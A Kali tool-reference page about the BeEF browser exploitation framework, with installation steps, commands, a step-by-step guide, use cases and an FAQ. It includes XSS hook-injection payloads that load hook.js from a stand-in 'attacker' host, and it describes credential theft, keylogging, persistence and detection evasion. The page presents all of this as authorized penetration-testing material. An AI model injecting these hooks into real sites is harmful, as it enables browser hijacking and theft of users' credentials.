GO KALI FREE

BeEF

Exploitation

Advancedhigh risk

BeEF (Browser Exploitation Framework) is a penetration testing tool focusing on web browsers. It hooks browsers and uses them as beachheads for further attacks.

Installation

sudo apt install beef-xss

Basic Syntax

beef-xss

Quick Facts

Full Name
BeEF (Browser Exploitation Framework)
License
Apache 2.0
Written In
Ruby, JavaScript
Platforms
Linux, macOS
Category
Browser Exploitation
Modules
400+ command modules
First Release
2008
Author
Wade Alcorn

Tool Overview

BeEF is the leading browser exploitation framework that uses hooked browsers as beachheads for client-side attacks. When an XSS vulnerability allows JavaScript injection, BeEF's hook.js loads in the victim's browser, establishing a persistent communication channel with the BeEF server.

The framework's web-based control panel shows all hooked browsers in real-time with detailed information about the browser type, version, installed plugins, and security posture. Over 400 command modules enable data theft, session hijacking, network scanning, social engineering, and more.

BeEF integrates with Metasploit for advanced post-exploitation, allowing seamless transitions from browser hooks to system-level compromise. It is essential for demonstrating client-side attack vectors during authorized penetration tests.

Common Commands

beef-xssStart BeEF
<script src="http://attacker:3000/hook.js"></script>Hook script
sudo nano /etc/beef-xss/config.yamlConfigure credentials, host, and port in the config file
curl http://127.0.0.1:3000/ui/panelAccess the BeEF control panel (default beef/beef login)
<img src="http://attacker:3000/hook.js" onerror="...">Alternate hook injection via an image error handler
msfconsole -r /usr/share/beef-xss/modules/msf.rcLoad the Metasploit resource script for browser exploitation
curl http://127.0.0.1:3000/api/hooks?token=TOKENQuery hooked browsers through the BeEF RESTful API

Step-by-Step Guide

  1. 1Start BeEF with beef-xss
  2. 2Access panel at http://127.0.0.1:3000/ui/panel
  3. 3Get hook.js URL
  4. 4Inject via XSS vulnerability
  5. 5Control hooked browsers from panel

Warnings

Use Cases

Browser Hooking

Hook victim browsers through XSS injection for persistent remote control.

Credential Theft

Steal saved credentials, session cookies, and form data from hooked browsers.

Network Fingerprinting

Scan internal networks from the hooked browser to map behind-firewall resources.

Social Engineering

Create fake login prompts and social engineering dialogs through the hooked browser.

Metasploit Integration

Launch Metasploit exploits through the hooked browser for system-level compromise.

Persistence

Maintain access through browser re-hooking and persistent backdoor communication.

Related Tools

Metasploit Framework

Exploitation

Learn how to use Metasploit Framework: install it on Kali Linux, launch msfconsole, search for exploit modules, set RHOSTS and LHOST, and run your first authorized lab exploit. This beginner tutorial covers msfconsole commands, Meterpreter sessions, msfvenom payloads, and post-exploitation — with practical examples for authorized penetration testing.

XSSer

Web Application

XSSer (Cross Site Scripting Exploiter) is an automatic framework to detect, exploit, and report XSS vulnerabilities in web applications. It contains features to bypass several filters and various options for automated payload generation.

Social Engineering Toolkit

Social Engineering

The Social-Engineer Toolkit (SET) is a penetration testing framework designed for social engineering. It has many attack vectors to exploit human weaknesses.

XSStrike

Web Application

XSStrike is an advanced Cross-Site Scripting (XSS) detection suite. It features intelligent payload generation, context analysis, a powerful fuzzing engine, and built-in WAF detection and bypass capabilities.

Responder

Sniffing & Spoofing

Responder is an LLMNR, NBT-NS and MDNS poisoner. It responds to specific localized name resolution requests with rogue authentication challenges to harvest hashes and credentials.

BeEF Execution Flow

Exploitation

The standardized sequence for initializing the Browser Exploitation Framework (BeEF), serving the hook script, and managing hooked targets within a controlled testing environment.

Related Cybersecurity Guides

Web Security · Intermediate

What Is XSS? Cross-Site Scripting Examples & How to Prevent XSS Attacks

Learn what XSS is, its types, and how to prevent XSS with a worked DVWA example, context-aware defenses, testing tips, and a cheat sheet.

Web Security · Intermediate

Web Security Fundamentals: OWASP Top 10 and Beyond

A comprehensive guide to web application security covering the OWASP Top 10 vulnerabilities, defense in depth strategies, and secure development lifecycle practices.

Security · Beginner

Social Engineering Awareness: Understanding and Defending Against Human Hacking

Learn about social engineering attacks including phishing, pretexting, and manipulation techniques with defense strategies.

Web Security · Intermediate

API Hacking Guide: How to Test APIs for Security Flaws (BOLA, JWT & GraphQL)

Learn API hacking step by step: discover endpoints, test authentication and authorization, find BOLA flaws with a worked crAPI example, test JWTs and GraphQL, and report findings — with tools, a cheat sheet and a checklist.

Frequently Asked Questions

What is BeEF used for?

BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses on web browsers. It hooks browsers through XSS injections and uses them as beachheads to launch client-side attacks, steal credentials, and assess browser security.

How does BeEF hook a browser?

BeEF hooks a browser by injecting a JavaScript file (hook.js) into a web page, typically through an XSS vulnerability or malicious link. Once loaded, the browser communicates with the BeEF server and becomes controllable through the web UI.

Can BeEF control any browser?

BeEF can hook most modern browsers, but its capabilities depend on the browser and installed plugins. Internet Explorer typically provides the most module options, while modern Chrome and Firefox have stronger security boundaries.

Is BeEF legal to use?

BeEF is legal for authorized penetration testing and research. Hooking browsers without consent is illegal and violates computer fraud laws. Always use in controlled lab environments or with explicit authorization.

What is browser hooking in BeEF?

Browser hooking is the process of injecting BeEF's hook.js script into a victim's browser, establishing a communication channel that allows the attacker to execute commands and modules against the hooked browser.

How does BeEF use XSS payloads?

BeEF leverages XSS vulnerabilities to inject its hook.js script into target browsers. Once hooked, BeEF can execute over 400 command modules for data theft, network scanning, and social engineering.

What command modules does BeEF provide?

BeEF provides 400+ command modules including credential theft, keystroke logging, screenshot capture, network scanning, social engineering dialogs, browser fingerprinting, and Metasploit integration.

How can BeEF maintain persistence on hooked browsers?

BeEF can maintain persistence through re-hooking techniques, persistent XSS, and browser extension installation, though modern browsers have security features that limit long-term persistence.

How can BeEF avoid detection by security software?

BeEF can use various evasion techniques including payload encoding, traffic obfuscation, and HTTPS for hook communication, though modern security software may still detect hook.js injection.

Can BeEF work with modern browsers like Chrome and Firefox?

Yes, BeEF works with modern browsers, but some modules may be restricted by security features like Content Security Policy, SameSite cookies, and sandboxing in newer browser versions.

How do I configure BeEF for HTTPS hooking?

Generate an SSL certificate and configure BeEF in /etc/beef-xss/config.yaml to use HTTPS. Modern browsers block HTTP hook scripts on HTTPS pages, so HTTPS hooking is required for secure targets.

Can BeEF integrate with Metasploit?

Yes, BeEF integrates with Metasploit for advanced post-exploitation. Load the integration with: msfconsole -r /usr/share/beef-xss/modules/msf.rc. This enables system-level attacks through browser hooks.

How many command modules does BeEF provide?

BeEF provides 400+ command modules organized by category: browser, network, social engineering, exploitation, and persistence. Modules range from simple browser fingerprinting to complex Metasploit exploitation chains.

Can BeEF capture network traffic from hooked browsers?

Yes, BeEF can use hooked browsers as network proxies to scan internal networks, access internal web applications, and capture traffic through the browser's network connection.

How do I start BeEF on a custom port?

Configure the port in /etc/beef-xss/config.yaml or use the -p flag: beef-xss -p 3001. The web UI and hook server run on the specified port.

Can BeEF perform keylogging on hooked browsers?

Yes, BeEF includes keylogging modules that capture keystrokes from hooked browsers. The hook.js script intercepts keyboard events and sends them back to the BeEF server in real-time.

How do I hook browsers without an XSS vulnerability?

BeEF typically requires an XSS injection point. Alternatives include social engineering (luring users to a page with the hook), browser extension installation, or combining with tools like SET for phishing delivery.

Can BeEF detect the hooked browser's plugins?

Yes, BeEF fingerprints the hooked browser including installed plugins, extensions, screen resolution, operating system, and other client-side information through JavaScript detection techniques.

How do I stop the BeEF server?

Press Ctrl+C in the BeEF terminal or use kill $(pgrep beef) to stop the server. BeEF gracefully shuts down and disconnects all hooked browsers when stopped.

Tags

#exploitation

Output Explanation

Web panel shows hooked browsers. Can run commands and modules against them.

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.